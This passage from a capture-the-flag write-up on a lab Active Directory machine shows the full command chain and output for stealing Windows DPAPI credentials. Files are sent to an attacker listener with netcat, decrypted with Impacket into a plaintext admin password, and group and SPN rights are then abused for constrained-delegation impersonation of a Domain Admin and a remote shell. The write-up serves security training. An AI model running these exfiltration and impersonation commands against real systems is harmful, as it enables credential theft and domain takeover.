Program 'mimikatz.exe' failed to run: Operation did not complete successfully because the file contains a virus or
potentially unwanted softwareAt line:1 char:1
+ .\mimikatz.exe
+ ~~~~~~~~~~.
At line:1 char:1
+ .\mimikatz.exe
+ ~~~~~~~~~~
+ CategoryInfo : ResourceUnavailable: (:) [], ApplicationFailedException
+ FullyQualifiedErrorId : NativeCommandFailed
It is blocked by Windows Defender
. So let’s continue “manually” obtaining some info.
We can pass this credential file to treat it in our attacker machine using netcat
binary we have used for the reverse shell previously. Start a listener with netcat
in our attacker machine and store everything received in a file:
❯ nc -lvnp 4444 > C4BB96844A5C9DD45D5B6A9859252BA6
listening on [any] 4444 ...
and pass the credential file using CMD
and netcat
:
PS C:\Users\C.Neri\Documents> cmd.exe /c 'C:\Users\C.Neri\Documents\nc.exe 10.10.16.3 4444 < C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\C4BB96844A5C9DD45D5B6A9859252BA6'
cmd.exe /c 'C:\Users\C.Neri\Documents\nc.exe 10.10.16.3 4444 < C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\C4BB96844A5C9DD45D5B6A9859252BA6'
Press Ctrl+C
in your attacker machine when you are done.
Now, we should obtain some master keys based on HackTricks. For this we need our user SID
:
PS C:\Users\C.Neri\Documents> whoami /user
whoami /user
USER INFORMATION
----------------
User Name SID
============== ==============================================
vintage\c.neri S-1-5-21-4024337825-2033394866-2055507597-1115
and then execute in a PowerShell
session:
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
or in this case:
PS C:\Users\C.Neri\Documents> Get-ChildItem -Hidden C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115
Get-ChildItem -Hidden C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115
Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 6/7/2024 1:17 PM 740 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
-a-hs- 6/7/2024 1:17 PM 740 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
-a-hs- 6/7/2024 1:17 PM 904 BK-VINTAGE
-a-hs- 6/7/2024 1:17 PM 24 Preferred
We have 2 Master keys:
4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Then, since mimikatz
did not work, we can use dpapi.py
from Impacket
along with the user SID
, its password and the master keys. These master keys are files, so we need to download them into out attacker machine first. We can pass these files in a similar way we did with the credential file:
❯ nc -lvnp 4444 > 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
listening on [any] 4444 ...
and in the victim machine we pass the file using netcat
and CMD
:
PS C:\Users\C.Neri\Documents> cmd.exe /c '.\nc.exe 10.10.16.3 4444 < C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b'
cmd.exe /c '.\nc.exe 10.10.16.3 4444 < C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b'
Then, extract the key contained in the master key file with impacket-dpapi
:
❯ impacket-dpapi masterkey -f 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid 'S-1-5-21-4024337825-2033394866-2055507597-1115' -password 'Zer0the0ne'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Flags : 0 (0)
Policy : 0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
and use this decrypted key into the credential file previously downloaded:
❯ impacket-dpapi credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key '0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000001 (CRED_TYPE_GENERIC)
Target : LegacyGeneric:target=admin_acc
Description :
Unknown :
Username : vintage\c.neri_adm
Unknown : Uncr4ck4bl3P4ssW0rd0312
We got a password for c.neri_adm
user, Uncr4ck4bl3P4ssW0rd0312
.
Searching what can this new user do in Bloodhound
shows:
This user has AddSelf
and GenericWrite
rights over DelegatedAdmins
group.
If we check what DelegatedAdmins
can do we don’t see much. However, they have 2 members:
L.Bianchi
user is also a member of Domain Admins
:
As usual at this point, get a ticket for this user:
❯ impacket-getTGT vintage.htb/'C.Neri_adm':'Uncr4ck4bl3P4ssW0rd0312' -dc-ip 10.10.11.45
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in C.Neri_adm.ccache
❯ KRB5CCNAME=C.Neri_adm.ccache nxc smb dc01.vintage.htb -k --use-kcache
SMB dc01.vintage.htb 445 dc01 [*] x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB dc01.vintage.htb 445 dc01 [+] vintage.htb\C.Neri_adm from ccache
The name DelegatedAdmins
for that group might give a hint about how we can exploit this group: Maybe, we can perform a Constrained Delegation
over an account that has servicePrincipalName
attribute, or SPN
, (as shown here) and use that account to impersonate another (privileged) user in the domain.
As we have seen previously, C.Neri_adm
has GenericWrite
permissions over DelegatedAdmins
group. Therefore, we could add an account whose password we know, that has an SPN
attribute (such as a service machine account), like svc_sql
into this group. For this we can use bloodyAD
and C.Neri_adm
ticket:
❯ KRB5CCNAME=C.Neri_adm.ccache bloodyAD --host dc01.vintage.htb -d vintage.htb -k add groupMember 'DelegatedAdmins' 'svc_sql'
[+] svc_sql added to DelegatedAdmins
Then, change this user’s serverPrincipalName
(SPN
). For this we need C.Neri
ticket (not C.Neri_adm
ticket). We can change it to cifs
(or SMB
) using, again, bloodyAD
:
❯ KRB5CCNAME=C.Neri.ccache bloodyAD --host dc01.vintage.htb -d vintage.htb -k set object "svc_sql" servicePrincipalName -v "cifs/anything"
[+] svc_sql's servicePrincipalName has been updated
Request the ticket for the account service with the service updated:
❯ impacket-getTGT vintage.htb/'svc_sql':'Zer0the0ne' -dc-ip 10.10.11.45
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in svc_sql.ccache
Now that svc_sql
account belongs to this group, we could use it to delegate and impersonate a user through S4U2Self
, requesting a Service Ticket
(ST
), impersonating a targeted user. Therefore, and finally, use this ticket that can be used to impersonate L.Bianchi_adm
with getST.py
from Impacket
:
❯ KRB5CCNAME=./svc_sql.ccache impacket-getST -spn 'cifs/dc01.vintage.htb' -impersonate 'L.Bianchi_adm' -dc-ip dc01.vintage.htb -k vintage.htb/'svc_sql':'Zer0the0ne'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Impersonating L.Bianchi_adm
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in L.Bianchi_adm@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
We can then use a tool like wmiexec.py
from Impacket
to enter in the victim machine:
❯ KRB5CCNAME=L.Bianchi_adm@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache impacket-wmiexec -k -no-pass 'L.Bianchi_adm'@dc01.vintage.htb -dc-ip dc01.vintage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
vintage\l.bianchi_adm
Since this user is a member of Domain Admins
, we can read the root
flag at Administrator
Desktop.
~Happy Hacking.